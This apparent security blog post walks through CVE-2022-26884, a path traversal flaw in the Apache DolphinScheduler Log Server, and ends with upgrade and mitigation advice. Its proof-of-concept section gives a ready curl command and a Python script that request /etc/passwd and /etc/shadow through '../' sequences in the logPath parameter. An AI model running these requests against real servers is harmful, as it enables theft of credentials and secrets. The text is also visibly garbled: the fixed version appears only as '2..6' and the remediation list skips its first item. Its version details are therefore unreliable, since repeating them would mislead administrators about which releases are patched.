A serious security issue was discovered in Apache DolphinScheduler before version 2..6. This vulnerability, tracked as CVE-2022-26884, allows anyone to read *any file* on a server where the DolphinScheduler Log Server is running. The implications are serious: attackers could easily steal confidential files such as passwords, database connection settings, cloud keys, and much more.

In this easy-to-understand walkthrough, I’ll break down what went wrong, provide a simple proof-of-concept example, explain the risk, and tell you exactly how to fix it.

What is Apache DolphinScheduler?

Apache DolphinScheduler is an open-source distributed and easy-to-expand workflow scheduler. It allows users to define and run complex computational tasks and is popular among data engineering teams and data scientists.

DolphinScheduler’s Log Server is used to handle workflow logs and fetch log files through a REST API.

What is CVE-2022-26884?

CVE-2022-26884 exposes a path traversal vulnerability in the Log Server’s log viewing endpoint.

Simply put, an attacker with network access to the log server’s API can request *any file* on the system, not just the intended log files, by leveraging special path characters in the request. This means they can sneak outside the log directory and grab files like /etc/passwd (on Linux) or C:\Windows\win.ini (on Windows) or even application secrets/configs.

Affected Version:

Apache DolphinScheduler Log Server < 2..6

Fixed in:
- Version 2..6 and later

Official Advisory:
- CVE-2022-26884 @ MITRE
- ASF Security Advisory page

Exploiting CVE-2022-26884: How is it Done?

The log server exposes a REST API endpoint (for example, /logs/download-log) which takes a filename parameter. The vulnerability is caused by insufficient validation of this parameter. Attackers can supply path traversal strings such as ../../../../etc/passwd and get *any* file’s contents as a server response.

Example Exploit

Suppose the Log Server is running on http://ds-logserver:12345 (replace with the real address).

Here’s a sample cURL command to download /etc/passwd from a vulnerable server

curl "http://ds-logserver:12345/logs/download-log?logPath=../../../../etc/passwd"

If the server is vulnerable, you’ll get the *entire contents* of /etc/passwd—a classic sign of path traversal.

With Python (requests)

import requests

url = "http://ds-logserver:12345/logs/download-log"
payload = {"logPath": "../../../../etc/shadow"}  # Replace with /etc/passwd or a target file

response = requests.get(url, params=payload)

print("Server responded with:")
print(response.text)   # Should print the sensitive file’s contents if vulnerable

What can attackers steal?

- Linux/Unix: /etc/passwd, /etc/shadow, SSH private keys, app secrets

Why is this Dangerous?

Anyone who can reach the port used by the log server (often unprotected inside internal networks) can:

Use other exploits with the stolen information.

- Bypass logs/auditing by going directly to the log server.

If you are using *any version below 2..6*, you must

- Download DolphinScheduler 2..6 or later

2. Restrict Access

Until you upgrade, firewall the Log Server so only trusted hosts can connect to it.

3. Scan for abuse

Check for suspicious access to the /logs/download-log endpoint, especially with file path parameters containing lots of ../ or targeting files outside your log directory.

References

- CVE-2022-26884 at NVD
- Apache DolphinScheduler official site
- GitHub Security Issue
- ASF Security Announce Mail

Conclusion

CVE-2022-26884 is a classic but critical file read vulnerability that could have devastating consequences for your environment. The fix is simple: upgrade to DolphinScheduler 2..6 or newer immediately and keep direct network access restricted.

If you’re running an older version, assume that any secrets and files may have been leaked, and rotate them as needed.

Stay safe and always patch early!

*If this helped you understand the vulnerability or secure your servers, consider sharing the post with your team. For more hands-on security guides, follow this blog.*

Timeline

Published on: 10/28/2022 08:15:00 UTC
Last modified on: 10/31/2022 19:12:00 UTC